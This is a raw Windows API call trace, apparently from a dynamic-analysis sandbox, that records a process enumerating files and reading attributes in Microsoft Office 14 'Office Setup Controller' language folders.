	[0050.535] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x1274e288 | out: lpFileInformation=0x1274e288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5db14d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa)) returned 1
	[0050.535] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x1274e2d8 | out: lpFileInformation=0x1274e2d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e)) returned 1
	[0050.536] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us"), fInfoLevelId=0x0, lpFileInformation=0x1274e328 | out: lpFileInformation=0x1274e328*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.536] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.536] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\*", lpFindFileData=0x123ed850 | out: lpFindFileData=0x123ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.537] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.537] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5b2ebe0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf551ba0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.XML", cAlternateFileName="PROJEC~1.XML")) returned 1
	[0050.537] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bc88d0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0050.537] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.537] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.537] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x1274e418 | out: lpFileInformation=0x1274e418*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5b2ebe0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf551ba0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac)) returned 1
	[0050.537] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x1274e468 | out: lpFileInformation=0x1274e468*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bc88d0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750)) returned 1
	[0050.537] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en"), fInfoLevelId=0x0, lpFileInformation=0x1274e4b8 | out: lpFileInformation=0x1274e4b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.538] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.538] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\*", lpFindFileData=0x123ed850 | out: lpFindFileData=0x123ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.538] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.538] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01be3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1
	[0050.538] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.538] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.538] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), fInfoLevelId=0x0, lpFileInformation=0x1274e558 | out: lpFileInformation=0x1274e558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01be3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543)) returned 1
	[0050.539] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es"), fInfoLevelId=0x0, lpFileInformation=0x1274e5a8 | out: lpFileInformation=0x1274e5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.539] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.540] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\*", lpFindFileData=0x123ed850 | out: lpFindFileData=0x123ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.540] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.540] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e37e00, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1
	[0050.540] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.540] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.540] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), fInfoLevelId=0x0, lpFileInformation=0x1274e648 | out: lpFileInformation=0x1274e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e37e00, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1)) returned 1
	[0050.541] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr"), fInfoLevelId=0x0, lpFileInformation=0x1274e698 | out: lpFileInformation=0x1274e698*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.541] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.542] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\*", lpFindFileData=0x123ed850 | out: lpFindFileData=0x123ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.542] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.542] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bd90c0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1
	[0050.542] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.542] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.542] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), fInfoLevelId=0x0, lpFileInformation=0x1274e738 | out: lpFileInformation=0x1274e738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bd90c0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2)) returned 1
	[0050.542] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us"), fInfoLevelId=0x0, lpFileInformation=0x1274e788 | out: lpFileInformation=0x1274e788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.542] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.542] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\*", lpFindFileData=0x123ed850 | out: lpFindFileData=0x123ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.542] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.542] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.XML", cAlternateFileName="")) returned 1
	[0050.542] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58c6830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0050.543] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.543] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.543] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), fInfoLevelId=0x0, lpFileInformation=0x1274e878 | out: lpFileInformation=0x1274e878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b)) returned 1
	[0050.543] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x1274e8c8 | out: lpFileInformation=0x1274e8c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58c6830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc)) returned 1
	[0050.543] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us"), fInfoLevelId=0x0, lpFileInformation=0x1274e918 | out: lpFileInformation=0x1274e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.544] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.544] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\*", lpFindFileData=0x123ed850 | out: lpFindFileData=0x123ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.544] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
